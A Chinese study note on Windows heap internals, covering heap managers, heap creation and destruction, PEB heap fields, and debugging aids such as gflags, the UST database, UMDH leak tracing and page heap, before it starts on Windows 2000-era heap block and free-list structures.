声明:这篇文章在写的时候,是最开始学习这个堆管理机制,所以写得有些重复和琐碎,基于笔记的目的想写得全一些,这篇文章写的时候参考了很多前辈的文章,已在末尾标出,某些未提及到的可以在评论补充

基于分享的目的,之前把所有部分都放出来了,但是全篇有八万词,pdf版本长达两百多页,全部放出看着比较杂乱,所以我对笔记进行了分割,只放出了几个章节

1.堆基础

1.1 win32堆概述

​ 从操作系统的角度来看,堆是系统的内存管理功能向应用软件提供服务的一种方式。

​ 通过堆,内存管理器(Memory Manager)将一块较大的内存空间委托给堆管理器(Heap Manager)来管理。堆管理器将大块的内存分割成不同大小的很多个小块来满足应用程序的需要。应用程序的内存需求通常是频繁而且零散的,如果把这些请求都直接传递给位于内核中的内存管理器,那么必然会影响系统的性能。有了堆管理器,内存管理器就只需要处理大规模的分配请求

用户态

​ 小内存:堆管理器分配堆。调用堆分配API从堆管理器分配堆。堆分配API包括LocalAlloc,GloabalAlloc,HeapAlloc,malloc等函数。

​ 大内存:内存管理器分配虚拟内存。调用虚拟内存分配API来从内存管理器分配内存。虚拟内存API包括VirtualAlloc,VirtualAllocEx,VirtualFree,VirtualFreeEx,VirtualLock,VirtualUnlock,VirtualProtect,VirtualQuery等

内核态

​ 小内存:池管理器(Pool Manager)。池管理器公开了一组驱动程序接口(DDI)以向外提供服务,包括 ExAllocatePool,ExAllocatePoolwithTag,ExAllocatePoolWithTagPriority ,ExAllocatePoolwithQuota,ExFreePool,ExFreePoolwithTag等

​ 大内存:内存管理器分配虚拟内存。内核对应的API包括NtAllocatevirtualMemory、NtProtectvirtualMemory等。

1.2 堆管理机制的发展阶段

​ 堆管理机制的发展大致可以分为三个阶段

  1. Windows 2000~Windows XP SP1:堆管理系统只考虑了完成分配任务和性能因素,没有考虑安全因素,可以比较容易发被攻击者利用。

  2. Windows XP 2~Windows 2003:加入了安全因素,比如修改了块首的格式并加入安全 cookie,双向链表结点在删除时会做指针验证等。这些安全防护措施使堆溢出攻击变得非常困 难,但利用一些高级的攻击技术在一定情况下还是有可能利用成功。

  3. Windows Vista~Windows 7:不论在堆分配效率上还是安全与稳定性上,都是堆管理算法的一个里程碑

1.3 堆内存与栈内存的区别

栈内存 堆内存
典型用例 函数局部数组 动态增长的链表等数据结构
申请方式 在程序中直接声明即可,如char buffer[8] 需要用函数申请,通过返回的指针使用。如p=malloc(8)
释放方式 函数返回时,由系统自动回收 需要把指针传给专用的释放函数,如free
初始化 0xCCCCCCCC 0xFDFDFDFD
0xCDCDCDCD
0xFDFDFDFD
管理方式
所处位置
申请后直接使用,申请与释放由系统自动完成,最后达到栈区平衡 需要程序员处理申请与释放
变化范围很大,0x0012XXXX
增长方向 由内存高址向低址增加 由内存低址向高址排列
生命周期 生命周期在被调用的函数内,不调用函数就不生成栈 生命周期由程序员决定,new/malloc出现,delete/free消亡
栈数组与堆数组 1)栈数组内存在栈上:int v1[] = {1, 20, 3, -1};
2)栈数组名不能被修改
1)堆数组需要从栈数组上一个内存去访问堆上的内存:
int *v2 = new int[4]; //栈上4/8个字节,堆上16个字节
2)堆数组名可以被修改

1.4 堆管理器

程序中对堆的直接操作主要有三种

  1. 进程默认堆。每个进程启动的时候系统会创建一个默认堆。比如LocalAlloc或者GlobalAlloc也是从进程默认堆上分配内存。也可以使用GetProcessHeap获取进程默认堆的句柄,然后根据用这个句柄去调用HeapAlloc达到在系统默认堆上分配内存的效果。

  2. C++编程中常用的是malloc和new去申请内存,这些由CRT库提供方法。根据查看,在VS2010之前(包含),CRT库会使用HeapCreate去创建一个堆,供CRT库自己使用。在VS2015以后CRT库的实现,并不会再去创建一个单独的堆,而使用进程默认堆。

  3. 自建堆。这个泛指程序通过HeapCreate去创建的堆,然后利用HeapAlloc等API去操作堆,比如申请空间

​ 堆管理器是通过调用虚拟管理器的一些方法进行堆管理的实现,比如VirtualAlloc之类的函数。同样应用程序也可以直接使用VirtualAlloc之类的函数对内存进行使用

1.4.1 win32堆管理器

​ win32 堆管理器由 NTDLL.dll 实现,目的是为用户态的应用程序提供内存服务,从实现角度上来讲,内核态的池管理器和用户态的 win32 堆管理器默用的是同一套基础代码,它们以运行时的方式存在于 ntdll.dll 和 ntosknrl.exe 模块中。

1.4.2 CRT堆管理器

​ 为了支持C的内存分配函数和C++的内存分配运算符(new和delete,即CRT内存分配函数),编译器的C运行库会创建一个专门的堆供这些函数使用,即CRT堆。

  • CRT由C运行时库创建,CRT创建的堆有三种模式,分别是SBH(Small Block),ODLSBH和System Heap模式,CRT运行时库选择一种模式创建相应的堆。

  • 对于SBH和OLDSBH模式来说,CRT堆会从堆管理器中批发大块的内存,然后分割成小块的内存供程序使用,对于系统模式,CRT堆只是将堆分配请求转发给它基于的win32堆。因此处于系统模式的CRT堆只是对win32堆的简单封装。

1.5 堆的创建与销毁

1.5.1 进程默认堆

​ 创建进程时操作系统为进程创建的默认堆:ntdll! KiUserApcDispather-> ntdll! LdrpInitialize-> ntdll! LdrplInitializeProcess-> ntdll! RtlCreateHeap

​ 创建好的堆的句柄回保存在PEB结构的ProcessHeap字段中,PEB中关于堆的字段如下:

kd> dt _PEB
ntdll!_PEB
+0x018 ProcessHeap : Ptr32 Void
+0x078 HeapSegmentReserve : Uint4B
+0x07c HeapSegmentCommit : Uint4B
成员 含义
ProcessHeap 进程堆的句柄
HeapSegmentReserve 堆的默认保留大小,字节数,1MB(0x100000)
HeapSegmentCommit 堆的默认提交大小,其默认值为两个内存页大小;x86系统中普通内存页的大小为4KB,因此是0x2000,即8KB
  • 使用GetProcessHeap可以取得当前进程的进程堆句柄:HANDLE GetProcessHeap(void)

    内部实现:从PEB结构读出ProcessHeap字段的值

1.5.2 私有堆

1. 创建

​ 可以通过HeapCreate这个api来创建属于进程的私有堆,这个api实际上会调用RtlCreateHeap函数,创建完毕之后会将创建好的堆句柄保存到peb结构中。

函数调用栈

​ HeapCreate-> ntdll! RtlCreateHeap-> NtAllocateVirtualMemory

函数原型
HANDLE HeapCreate(
[in] DWORD flOptions,
[in] SIZE_T dwInitialSize,
[in] SIZE_T dwMaximumSize
);
参数
参数 含义
flOptions 该参数可以是如下标志中的0个或多个:

HEAP_GENERATE_EXCEPTIONS(0x00000004),通过异常来报告失败情况,如果没有该标志则通过返回NULL报告错误
HEAP_CREATE_ENABLE_EXECUTE(0X00040000),允许执行堆中内存块上的代码
HEAP_NO_SERIALIZE(0x00000001),当堆函数访问这个堆时,不需要进行串行化控制(加锁)。指定这一标志可以提高堆操作函数的速度,但应该在确保不会有多个线程操作同一个堆时才这样做,通常在将某个堆分配给某个线程专用时这么做。也可以在每次调用堆函数时指定该标志,告诉堆管理器u需要堆那次调用进行串行化控制
dwInitialSize 用来指定堆的初始提交大小
dwMaximumSize 用来指定堆空间的最大值(保留大小),如果为0,则创建的堆可以自动增加。尽管可以使用任意大小的整数作为dwInitialSize和dwMaximumSize参数,但是系统会自动将其取整为大于该值的临近页边界(即页大小的整数倍)
windbg命令

​ 在windbg中可以使用!heap -h指令来查看进程中的所有堆。!heap -h的查询结果也就是peb.ProcessHeaps中的值。

RtlCreateHeap函数流程
  1. 计算得到最大堆块大小:最大堆块大小实际上是 0x7f000,即 0x80000 减去一个页面。 最大块大小为 0xfe00,粒度偏移为 3

  2. 获取传入的堆参数块,根据PEB设置堆参数块的值,根据PEB->NtGlobalFlag设置堆块的标志

  3. 根据传入的ReserveSize和CommitSize设置堆块的保留页面和提交页面

  4. 如果调用者提供的堆基地址不为0

    1)如果调用者提供了CommitRoutine,设置提交的基地址和不提交的基地址

    2)如果调用者未提供CommitRoutine,查询提供的地址处的信息,获得该内存区域的大小;查询未提交处地址的信息,获得保留内存的大小

  5. 如果调用者提供的堆基地址为0,调用ZwAllocateVirtualMemory从内存管理器分配内存

  6. 此时,已获得一个堆指针、已提交的基址、未提交的基址、段标志、提交大小和保留大小。 如果已提交和未提交的基地址相同,那么我们需要调用ZwAllocateVirtualMemory提交由ComitSize指定的数量

  7. 计算堆头的末尾并为 8 个未提交的范围结构腾出空间。 一旦我们为它们腾出空间,然后将它们链接在一起并 以null 终止链

  8. 填写堆结构体,并将堆结构体插入进程的堆列表

    1)初始化堆前面的元素

    2)初始化空表

    3)初始化VirtualAllocdBlocks虚拟内存块

    4)初始化临界区

    5)初始化初始化堆结构体的第一个堆段

    6)初始化堆结构体的其他元素,将堆结构体按16或8字节对齐

    7)将新建好的堆插入进程的堆列表中

    8)初始化堆的快表:为快表分配空间,对其进行初始化

2. 销毁

​ 可以通过HeapDestory这个api来销毁属于进程的私有堆,这个api实际上会调用RtlDestroyHeap函数,会将PEB堆列表中的堆要销毁堆的堆句柄移除掉。

函数调用栈

​ HeapDestory -> ntdll! RtlDestroyHeap -> NtFreeVirtualMemory

函数原型
BOOL HeapDestroy(
[in] HANDLE hHeap
);
RtlDestroyHeap函数流程
  1. 如果被销毁的堆是进程默认堆,不允许销毁
  2. 如果是低碎片堆,调用RtlpDestroyLowFragHeap销毁低碎片堆
  3. 调用RtlpHeapFreeVirtualMemory释放堆里面的巨块(VirtualAllocdBlocks)
  4. 销毁设置的堆标记,并将该堆从进程的堆列表中移除
  5. 销毁临界区
  6. 释放未提交的堆段的虚拟内存
  7. 如果堆中有大块的索引,释放大块的内存
  8. 调用RtlpDestroyHeapSegment销毁每个堆中的段
注意

​ 应用程序不应该也不需要销毁默认堆,因为进程内的很多系统函数会使用这个堆,这并不会导致内存泄漏。因为当进程退出和销毁进程对象时,系统会两次调用内存管理器的MmCleanProcessAddressSpace函数来释放清理进程的内存空间

第一次:在退出进程中执行。当NtTerminateProcess函数调用PspExitThread退出线程时,如果退出的是最后一个线程,则PspExitThread会调用MmCleanProcessAddressSpace(该函数先删除进程用户空间中的文件映射和虚拟地址,释放虚拟地址描述符,然后删除进程空间的系统部分,最后删除进程的页表和页目录设施)

第二次:当系统的工作线程删除进程对象时会再次调用MmCleanProcessAddressSpace函数

1.5.3 堆列表

​ 每个进程的PEB结构以列表的形式记录了当前进程的所有堆句柄,包括进程的默认堆。以下是PEB结构中,用来记录这些堆句柄的字段:

kd> dt _PEB
ntdll!_PEB
+0x018 ProcessHeap : Ptr32 Void
+0x088 NumberOfHeaps : Uint4B
+0x08c MaximumNumberOfHeaps : Uint4B
+0x090 ProcessHeaps : Ptr32 Ptr32 Void
成员 含义
ProcessHeap 进程默认堆句柄
NumberOfHeaps 记录堆的总数
MaximumNumberOfHeaps 指定ProcessHeaps数组最大个数,当NumberOfHeaps达到该值的大小,那么堆管理器就会增大MaximumNumberOfHeaps的值,并重新分配ProcessHeaps数组
ProcessHeaps 记录每个堆的句柄,是一个数组,这个数组可以容纳的句柄数记录在MaximumNumberOfHeaps中

​ 和其他的句柄不同的是,堆句柄的值实际上就是这个堆的起始地址。和其他函数创建的对象保存在内核空间中不同,应用程序创建的堆是在用户空间保存的,因此应用程序可以直接通过该地址来操作堆,而不用担心操作失误造成蓝屏错误。所以,此时的句柄值就可以直接是堆的起始地址

1.6 堆的调试支持

1.6.1 堆管理器提供的调试支持

​ 下面是一些常见的调试选项,可通过WinDbg提供的gflags.exe(默认位于C:\Program Files\Debugging Tools for Windows (x86)目录下)或者!gflag命令来设置:

  • htc - 堆尾检查(Heap Tail Checking,HTC),在堆块末尾附加额外的标记信息(通常为 8 字节的0xabababab),用于检查堆块是否发生溢出
  • hfc - 堆释放检查(Heap Free Checking,HFC),在释放堆块时对堆进行各种检查,防止多次释放同一个堆块
  • hpc - 堆参数检查,对传递给堆管理的参数进行更多的检查
  • ust - 用户态栈回溯(User mode Stack Trace,UST),即将每次调用堆函数的函数调用信息记录到一个数据库中
  • htg - 堆标志(heap tagging),为堆块增加附加标记,以记录堆块的使用情况或其他信息
  • hvc - 调用时验证(Heap Validation on Call,HVC),即每次调用堆函数时都对整个堆进行验证和检查
  • hpa - 启用页堆(Debug Page Heap),在堆块后增加专门用于检测溢出的栅栏页,若发生堆溢出触及栅栏页便会立刻触发异常。

举例:要针对app.exe程序添加堆尾检查功能和页堆,去掉堆标志,可以执行以下命令

!gflag -i app.exe +htc +hpa -htg
gflags.exe -i app.exe +htc +hpa -htg

1.6.2 启用堆调试功能的方法原理

​ 操作系统的进程加载器在加载一个进程时会从注册表中读取进程的全局标志值:

​ 1)在 HKEY_ LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options 表键下寻找以该程序名(如 MyApp.EXE,不区分大小写)命名的子键

​ 2)如果存在这样的子键, 那么读取下面的 GlobalFlag 键值(REG_DWORD 类型)。

​ 可以使用 gflags 工具(gflags.exe)来编辑系统的全局标志或某个程序文件的全局标志(将标志信息保存在上述注册表表键下,如果不存在,就会创建)

1. 与堆有关的全局标志

标 志 缩 写 描 述
FLG_HEAP_ENABLE_FREE_CHECK 0x20 hfc 释放检查
FLG_HEAP_VALIDATE_PARAMETERS 0x40 hpc 参数检查
FLG_HEAP_ENABLE_TAGGING 0x800 htg 附加标记
FLG_HEAP_ENABLE_TAG_BY_DLL 0x8000 htd 通过DLL附加标记
FLG_HEAP_ENABLE_TAIL_CHECK 0x10 htc 堆尾检查
FLG_HEAP_VALIDATE_ALL 0x80 hvc 全面验证
FLG_HEAP_PAGE_ALLOCS 0x02000000 hpa DPH
FLG_USER_STACK_TRACE_DB 0x1000 ust 用户态栈回溯
FLG_HEAP_DISABLE_COALESCING 0x00200000 dhc 禁用合并空闲块

2. 调试器中运行一个程序默认的全局标志

​ 如果是在调试器中运行一个程序,而且注册表中没有设置 GlobalFlag 键值,那么操作系统 的加载器会默认将全局标志设置为 0x70,也就是启用 htc、hfc 和 hpc 这 3 项堆调试功能。如果 注册表中设置了,那么会使用注册表中的设置

1.6.3 栈回溯数据库

1. 工作原理

​ 如果当前进程的全局标志中包含了 UST 标志(FLG_USER_STACK_TRACE_DB,0x1000), 那么堆管理器会为当前进程分配一块大的内存区,并建立一个 STACK_TRACE_DATABASE 结构来管理这个内存区,然后使用全局变量 ntdll!RtlpStackTraceDataBase 指向这个内存结构。这个内存区称为用户态栈回溯数据库(User-Mode Stack Trace Database),简称栈回溯数据库或 UST 数据库

1)UST 数据库的头结构

​ 通过查看RtlpStackTraceDataBase全局变量获得UST数据库的起始地址:

0:001> dd ntdll!RtlpStackTraceDataBase l1
7c97c0d0 00410000

​ UST 数据库头结构如下:

0:001> dt ntdll!_STACK_TRACE_DATABASE 00410000
+0x000 Lock : _ _ unnamed //同步对象
+0x038 AcquireLockRoutine : 0x7c901005 ntdll!RtlEnterCriticalSection+0
+0x03c ReleaseLockRoutine : 0x7c9010ed ntdll!RtlLeaveCriticalSection+0
+0x040 OkayToLockRoutine : 0x7c952080 ntdll!NtdllOkayToLockRoutine+0
+0x044 PreCommitted : 0 '' //数据库提交标志
+0x045 DumpInProgress : 0 '' //转储标志
+0x048 CommitBase : 0x00410000 //数据库的基地址
+0x04c CurrentLowerCommitLimit : 0x00422000
+0x050 CurrentUpperCommitLimit : 0x0140f000
+0x054 NextFreeLowerMemory : 0x00421acc "" //下一空闲位置的低地址
+0x058 NextFreeUpperMemory : 0x0140f4fc "???" //下一空闲位置的高地址
+0x05c NumberOfEntriesLookedUp : 0x3fb
+0x060 NumberOfEntriesAdded : 0x2c1 //已加入的表项数
+0x064 EntryIndexArray : 0x01410000 -> (null)
+0x068 NumberOfBuckets : 0x89 //Buckets 数组的元素数
+0x06c Buckets : [1] 0x00410a50 _RTL_STACK_TRACE_ENTRY // Buckets 数组。指针数组,数组的每个元素指向的是一个桶位。
//堆管理器在存放栈回溯记录时,先计算这个记录的散列值,然后对桶位数(NumberOfBuckets)求余(%)
//将得到的值作为这个记录所在的桶位。位于同一个桶位的多个记录是以链表方式链接在一起的
//每个栈回溯记录是一个 RTL_STACK_TRACE_ENTRY 结构

2)UST 数据库的回溯记录

0:001> dt _RTL_STACK_TRACE_ENTRY 0x00410a50
+0x000 HashChain : 0x00410e9c _RTL_STACK_TRACE_ENTRY //指向属于同一桶位的下一个记录的地址。
//因为BackTrace数组长度是32字节,所以栈回溯最大深度为 32 字节
+0x004 TraceCount : 1 //本回溯发生的次数
+0x008 Index : 0x23 //记录的索引号
+0x00a Depth : 0xe //栈回溯的深度,即 BackTrace 的元素数
+0x00c BackTrace : [32] 0x7c96d6dc //从栈帧中得到的函数返回地址数组
3)堆管理器将当前的栈回溯信息记录到 UST 数据库中的过程

​ 建立 UST 数据库后,当堆块分配函数再被调用的时候,堆管理器便会将当前的栈回溯信息记录到 UST 数据库中,其过程如下

  1. 堆分配函数调用 RtlLogStackBackTrace 发起记录请求

  2. RtlLogStackBackTrace 判断 ntdll!RtlpStackTraceDataBase 指针是否为 NULL。如果是, 则返回;否则,调用 RtlCaptureStackBackTrace

  3. RtlCaptureStackBackTrace 调用 RtlWalkFrameChain 遍历各个栈帧并将每个栈帧中的函数返回地址以数组的形式返回

  4. RtlLogStackBackTrace 将得到的信息放入一个 RTL_STACK_TRACE_ENTRY 结构中, 然后根据新数据的散列值搜索是否已记录过这样的回溯记录

    如果搜索到,则返回该项的索引值; 如果没有找到,则调用 RtlpExtendStackTraceDataBase 将新的记录加入数据库中,然后将新加入项的索引值返回。每个 UST 记录都有一个索引值,称为 UST 记录索引号。 RTL_STACK_TRACE_ENTRY 结构中的 TraceCount 字段用来记录这个栈回溯发生的次数,如果它的值大于 1,便说明这样的函数调用过程发生了多次

  5. 堆分配函数(RtlDebugAllocateHeap)将 RtlLogStackBackTrace 函数返回的索引号放入堆块末尾一个名为 HEAP_ENTRY_EXTRA 的数据结构中,这个数据结构是在分配堆块时就分配好的,它的长度是 8 字节,依次为 2 字节的 UST 记录索引号,2 字节的堆块标记(Tag)号, 最后 4 字节用来存储用户设置的数值

配置 UST 数据库的大小

  1. 使用 gflags 工具:如下命令便将 heapmfc.exe 程序的 UST 数 据库设置为 24MB:

    !gflags -i heapmfc.exe /tracedb 24
  2. 在注册表中 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Current Version\Image File Execution Options\heapmfc.exe 键下直接修改 StackTraceDatabaseSizeInMb 表项 (REG_DWORD)

2. DH 和 UMDH 工具

​ 可以使用 DH.EXE(Display Heap)和 UMDH.EXE(User-Mode Dump Heap)工具来查询包 括 UST 数据库在内的堆信息:利用堆管理器的调试功能将堆信息显示出来或转储(dump)到文件中

​ 这两个工具都是在命令行运行的,通过-p 开关指定要观察的进程。如果要转储 UST 数据 库,那么应该先设置好符号文件的路径

举例

​ 通过以下命令可以将进程 5622 的堆信息转储到文件 DH_5622.dmp 中,DH 生成的文件是文本文件。内部包含了进程中所有堆的列表 和 UST 数据库中的所有栈回溯记录(称为 Hogs)

C:\>set _NT_SYMBOL_PATH=D:\symbols
C:\>dh -p 5622

3. 定位内存泄漏

1)使用 UMDH 来定位内存泄漏的基本步骤

  1. 使用 gflags 工具启用 ust 功能,也就是在 HeapMfc.exe 所在的目录中执行 gflags /i HeapMfc.exe +ust
  2. 运行 HeapMfc 程序,并使用 UMDH 工具对其进行第一次采样,即执行 c:\windbg\umdh -p:1228 -d -f:u1.log –v
  3. 单击 HeapMfc 对话框中的 New 按钮,这会导致 HeapMfc 程序分配内存,但是并不释放,也就是模拟一个内存泄漏情况
  4. 再次执行 UMDH 对程序进行采样,即 c:\windbg\umdh -p:1228 -d -f:u2.log –v
  5. 使用 UMDH 比较两个采样文件,即 c:\windbg\umdh -d u1.log u2.log –v

2)命令的执行结果和注释

​ UMDH 会比较两次采样中的每个 UST 记录,并将存在差异的记录以如下格式显示出来:

+ 字节差异 (新字节数 –旧字节数) 新的发生次数 allocs BackTrace UST 记录的索引号
+ 发生次数差异 (新次数值 – 旧次数值) BackTrace UST 记录的索引号 allocations 栈回溯列表

利用 UMDH 工具定位内存泄漏如下:

c:\dig\dbg\author\code\bin\release>c:\windbg\umdh -d u1.log u2.log -v
// Debug library initialized ... //加载和初始化符号库,即 DBGHELP.DLL
DBGHELP: HeapMfc - private symbols & lines //加载 HeapMfc 程序的符号文件
.\HeapMfc.pdb //符号文件路径和名称
DBGHELP: ntdll - public symbols //加载 NTDLL.DLL 的符号文件
d:\symbols\ntdll.pdb\36515FB5D04345E491F672FA2E2878C02\ntdll.pdb
… //省略加载其他符号文件的信息
// 以下是 UMDH 发现的两次采样间的差异,即可能的内存泄漏线索 //索引号为 A2(BackTraceA2)的 UST 记录在两次采样中新增 100 字节(用户数据区大小),新的字节数为 11308,上次的字节数为 11208。这一记录所代表函数调用过程的发生次数是 20
+ 100 ( 11308 - 11208) 20 allocs BackTraceA2 //BackTraceA2 所代表的调用过程在两次采样间新增 1 次,新的发生次数是 20,旧的发生次数是 19
+ 1 ( 20 - 19) BackTraceA2 allocations ntdll!RtlDebugAllocateHeap+000000E1
ntdll!RtlAllocateHeapSlowly+00000044
ntdll!RtlAllocateHeap+00000E64
msvcrt!_heap_alloc+000000E0
msvcrt!_nh_malloc+00000013
msvcrt!malloc+00000027
MFC42!operator new+00000031
//归纳结果 //第 2 次采样比第 1 次总增加 128 字节,其中 100 字节属于用户数据区(请求长度),28 字节属于堆的管理信息,8 字节为 HEAP_ENTRY结构,另 20 字节为堆块末尾的自动填充和 HEAP_ENTRY_EXTRA 结构
Total increase == 100 requested + 28 overhead = 128

1.6.4 页堆

​ Windows 2000 引入了专门用于调试的页堆(Debug Page Heap,DPH)。一旦启用该机制,堆管理器会在堆块后增加专门用于检测溢出的栅栏页(fense page),这样一旦用户数据区溢出并触及栅栏页便会立刻触发异常

​ DPH包含在 Windows 2000 之后的所有 Windows 版本中,也加入 NT 4.0 的 Service Pack 6 中

1. 页堆总体结构

​ 下图中:左侧的矩形是页堆的主体部分,右侧是附属的普通堆

​ 创建每个页堆时,堆管理器都会创建一个附属的 普通堆,其主要目的是满足系统代码的分配需要,以节约页堆上的空间

1)页堆上的结构
  • 第 1 个内存页(起始 4KB):用来伪装普通堆的 HEAP 结构,大多空间被填充为 0xeeeeeeee,只有少数字段(Flags 和 ForceFlags)是有效的,这个内存页的属性是只读的,因此可以用于检测应用程序意外写 HEAP 结构的错误

  • 第 2 个内存页:

    1. 开始处是一个 DPH_HEAP_ROOT 结构,该结构包含了 DPH 的基本信息和各种链表,是描述和管理页堆的重要资料

      1)第一个字段是这个结构的签名(signature),固定为 0xffeeddcc,与普通堆结构的签名 0xeeffeeff 不同

      2)NormalHeap 字段记录着附属普通堆的句柄。

    2. DPH_HEAP_ROOT 结构之后的一段空间用来存储堆块节点,称为堆块节点池(node pool)

      为了防止堆块的管理信息被覆盖,除了在堆块的用户数据区前面存储堆块信息,页堆还会在节点池为每个堆块记录一个 DPH_HEAP_BLOCK 结构,简称 DPH 节点结构。多个节点是以链表的形式链接在一起的:

      1)DPH_HEAP_BLOCK 结构的 pNodePoolListHead 字段用来记录这个链表的开头

      2)pNodePoolListTail 字段用来记录链表的结尾

      第一个节点描述 DPH_HEAP_ROOT 结构和节点池本身所占用的空间。节点池的典型大小是 4 个内存页(16KB)减去 DPH_HEAP_ROOT 结构的大小

  • 节点池后的一个内存页:用来存放同步用的关键区对象,即_RTL_CRITICAL_SECTION 结构。 这个结构之外的空间被填充为 0。DPH_HEAP_BLOCK 结构的 HeapCritSect 字段记录着关键区对象的地址。

2)堆块结构

​ 每个堆块至少占用两个内存页,在用于存放用户数据的内存页后,堆管理器总会多分配一个内存页,这个内存页专门用来检测溢出, 即栅栏页(fense page)。

​ 栅栏页的页属性被设置为不可访问(PAGE_NOACCESS),因此一旦用户数据 区发生溢出并触及栅栏页,便会引发异常,如果程序在被调试,那么调试器便会立刻收到异常, 使调试人员可以在第一现场发现问题,从而迅速定位到导致溢出的代码

​ 为了及时检测溢出,堆块的数据区是按照紧邻栅栏页的原则来布置的,以一个用户数据大小远小于一个内存页的堆块为例,这个堆块会占据两个内存页,数据区在第一个内存页的末尾,第二个内存页紧邻在数据区的后面,以下为一个页堆堆块(DPH_HEAP_BLOCK)的数据布局:

① 页堆堆块的数据区

  • DPH_BLOCK_ INFORMATION 结构,即页堆堆块的头结构
  • 用户数据区
  • 用于满足分配粒度要求而多分配的额外字节。如果应用程序申请的长度(即用户数据区的长度)正好是分配粒度的倍数, 比如 16 字节,那么这部分就不存在了

② 页堆堆头的头结构

0:000> dt ntdll!_DPH_BLOCK_INFORMATION 016d6ff0-20
+0x000 StartStamp : 0xabcdbbbb //头结构的起始签名,固定为这个值
+0x004 Heap : 0x016d1000 //DPH_HEAP_ROOT 结构的地址
+0x008 RequestedSize : 9 //堆块的请求大小(字节数)
+0x00c ActualSize : 0x1000 //堆块的实际字节数,不包括栅栏页
+0x010 FreeQueue : _LIST_ENTRY [ 0x12 - 0x0 ] //释放后使用的链表结构
+0x010 TraceIndex : 0x12 //在 UST 数据库中的追踪记录序号
+0x018 StackTrace : 0x00346a60 //指向 RTL_TRACE_BLOCK 结构的指针
+0x01c EndStamp : 0xdcbabbbb //头结构的结束签名,固定为这个值

2. 启用页堆

1)对某个应用程序启用页堆

​ 在命令行中输入如下命令便对这个程序启用了 DPH:

!gflag /p /enable frecheck.exe /full 或 !gflag -i +hpa

​ 以上两个命令都会在注册表中建立子键 HKEY_LOCAL_MACHINE \SOFTWARE\Microsoft\Windows NT\CurrentVersion\ Image File Execution Options\frecheck.exe,并加入如下两个键值:

GlobalFlag (REG_SZ) = 0x02000000
PageHeapFlags (REG_SZ) = 0x00000003

​ 如果使用第一个命令,那么还会加入以下键值

VerifierFlags (REG_DWORD) = 1
2)查看是否启用页堆

使用!gflag 命令

​ 在 WinDBG 中打开目标程序,输入!gflag 命令确认已经启用完全的 DPH:

0:000> !gflag \p
Current NtGlobalFlag contents: 0x02000000
hpa - Place heap allocations at ends of pages

查看全局变量 ntdll!RtlpDebugPageHeap 的值

​ 如果启用,那么它的值应该为 1

① 查看当前进程的堆列表:

0:000> !heap -p
Active GlobalFlag bits:
hpa - Place heap allocations at ends of pages
StackTraceDataBase @ 00430000 of size 01000000 with 00000011 traces
PageHeap enabled with options:
ENABLE_PAGE_HEAP COLLECT_STACK_TRACES
active heaps:
+ 140000 ENABLE_PAGE_HEAP COLLECT_STACK_TRACES // DPH
NormalHeap – 240000 // 附属的普通堆
HEAP_GROWABLE
……[省略数行]
+ 16d0000 ENABLE_PAGE_HEAP COLLECT_STACK_TRACES
NormalHeap - 17d0000
HEAP_GROWABLE HEAP_CLASS_1

② “+”号后面的是页堆句柄,对于每个 DPH,堆管理器还会为其创建一个普通的堆,比如 16d0000 堆的普通堆是 17d0000

​ 如果!heap 命令中不包含/p 参数,那么列出的堆中只包含每个 DPH 的普通堆,不包含 DPH。如果要观察某个 DPH 的详细信息,那么应该在!heap 命令中加入 -p 开关,并用-h 来指定 DPH 的句柄

③ 查看当前进程的页堆

0:000> !heap -p -h 16d0000
_DPH_HEAP_ROOT @ 16d1000 //DPH_HEAP_ROOT 结构的地址
Freed and decommitted blocks //释放和已经归还给系统的块列表
DPH_HEAP_BLOCK : VirtAddr VirtSize //列表的标题行,目前内容为空
Busy allocations //占用(已分配)的块
DPH_HEAP_BLOCK : UserAddr UserSize - VirtAddr VirtSize //列表的标题行
_HEAP @ 17d0000 //普通堆的句柄,亦即 HEAP 结构的地址
_HEAP_LOOKASIDE @ 17d0688 //旁视列表("前端堆")的地址
_HEAP_SEGMENT @ 17d0640 //段结构的地址
CommittedRange @ 17d0680 //已提交区域的起始地址
HEAP_ENTRY Size Prev Flags UserPtr UserSize – state //普通堆上的堆块列表
* 017d0680 0301 0008 [01] 017d0688 01800 - (busy)
017d1e88 022f 0301 [10] 017d1e90 01170 - (free)
VirtualAllocdBlocks @ 17d0050 //直接分配的大虚拟内存块列表头

2.Windows 2000 – Windows XP SP1

2.1 环境准备

环境 环境准备
虚拟机 32位Windows 2000 SP4
调试器 OllyDbg、WinDbg
编译器 VC6.0++、VS2008

2.2 堆的结构

​ 在该阶段,整个堆空间主要由4个结构来维护,分别是段表(segment list)、虚表(Virtual Allocation list)、空表(freelist)和快表(lookaside)。其中,与空表伴生的还有两个数据结构,分别是空表位图(Freelist Bitmap)和堆缓存(Heap Cache),这两个数据结构的引入减少了在分配时对空表的遍历次数,加快了分配速度。

2.2.1 堆块

​ 堆中的内存区被分割为一系列不同大小的堆块。每个堆块的起始处一定是一个 8 字节的 HEAP_ENTRY 结构,后面便是供应用程序使用的区域,通常称为用户区

​ HEAP_ENTRY 结构的前两字节是以分配粒度表示的堆块大小。分配粒度通常为 8 字节,这意味着每个堆块的最大值是 2 的 16 次方乘以 8 字节,即 0x10000×8 字节 = 0x80000 字节 = 524288 字节=512KB, 因为每个堆块至少要有 8 字节的管理信息,所以应用程序可以使用的最大堆块便是 0x80000 字节 - 8 字节 = 0x7FFF8 字节

注意:占用态堆块和空闲态堆块的块首有区别

图2-2-1(1) 占用态堆块

图2-2-1(2) 空闲态堆块

2.2.2 空闲双向链表FreeList

​ 空闲堆块的块首中包含一对重要的指针,这对指针用于将空闲堆块组织成双向链表。按照堆块的大小不同,空表总共被分为 128 条。 堆区一开始的堆表区中有一个 128 项的指针数组,被称做空表索引(Freelist array)。该数组的每一项包括两个指针,用于标识一条空表

​ 把空闲堆块按照大小的不同链入不同的空表,可以方便堆管理系统高效检索指定大小的空闲堆块。

堆管理器将分配请求映射到空闲列表位图索引的算法

​ 将请求的字节数+8,再除以8得到索引

举例

​ 对于分配8字节的请求,堆管理器计算出的空闲列表位图索引为2,即(8+8)/2

注意

  • 空表索引的第一项(free[0])所标识的空表相对比较特殊。这条双向链表链入了所有大于等于 1024 字节的堆块(小于 512KB)。这些堆块按照各自的大小在零号空表中升序地依次排列下去。
  • FreeList[1]没有被使用,因为堆块的最小值为16(8字节块头+8字节用户数据)



图2-2-2 空闲双向链表FreeList结构

2.2.3 空表位图

